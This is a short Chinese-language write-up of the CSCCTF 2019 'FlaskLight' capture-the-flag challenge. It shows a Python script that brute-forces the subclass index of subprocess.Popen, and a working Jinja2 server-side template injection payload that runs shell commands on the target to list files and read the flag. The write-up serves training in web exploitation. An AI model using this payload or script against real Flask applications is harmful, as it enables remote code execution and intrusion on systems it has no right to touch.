[CSCCTF 2019 Qual]FlaskLight 記錄
這個根據題目名字,flask模板注入,找注入點
檢視原始碼發現GET傳參
直接測試模板注入
存在sql注入
常規模板注入
試了試之前做過的模板注入,都行不通
然後百度了一波,原來這是python2的
難怪不行
{{''.__class__.__mro__[2].__subclasses__()}}
利用這個可以讀取所有的類,然後看看能不能RCE
找到catch_warnings類,
但是無法RCE
看了wp,發現可以利用subprocess.Popen這個類來進行RCE
學廢了
網上搜的模板注入,都沒說這個類,emmmm
找索引
import requests
import html
import time
for i in range(0,300):
time.sleep(0.06)
url='http://4d0aed10-26a2-4108-8b17-9c8aa555ca2d.node3.buuoj.cn?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d]}}' %(i)
r = requests.get(url)
print(url)
if "subprocess.Popen" in html.unescape(r.text):
print(i)
break
索引為258
payload
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
檢視flasklight目錄
另外一個就是flag
相關文章
- AT_nikkei2019_2_qual_c 題解
- 題解:AT_yahoo_procon2019_qual_e Odd Subrectangles
- 2019研電賽記錄
- 2019-2020 ICPC Southeastern European Regional Programming Contest (SEERC 2019) 補題記錄AST
- NOAA:2019年9月溫度創1880年有記錄以來最高紀錄
- 記錄從Winserver2012R2升級到Winserver2019Server
- 記錄
- 2019騰訊實習筆試題部分記錄+兩次電話面試筆記筆試面試筆記
- Conda常用命令記錄(自用記錄)
- 20240505記錄《程式碼隨想錄》筆記筆記
- 指令記錄
- 科研記錄
- redis 記錄Redis
- rabbitmq 記錄MQ
- 2024.10 記錄
- nginx 記錄Nginx
- mybatis 記錄MyBatis
- jvm 記錄JVM
- spring 記錄Spring
- Kafka 記錄Kafka
- netty 記錄Netty
- 照片記錄
- git 記錄Git
- MyBatis記錄MyBatis
- 2024.3 記錄
- debian記錄
- MongoDB 記錄MongoDB
- 工具記錄
- Git記錄Git
- 命令記錄
- explain記錄AI
- 地址記錄
- PEAC記錄
- ad記錄
- 好文記錄
- planetype記錄
- Spring記錄Spring
- Ionic記錄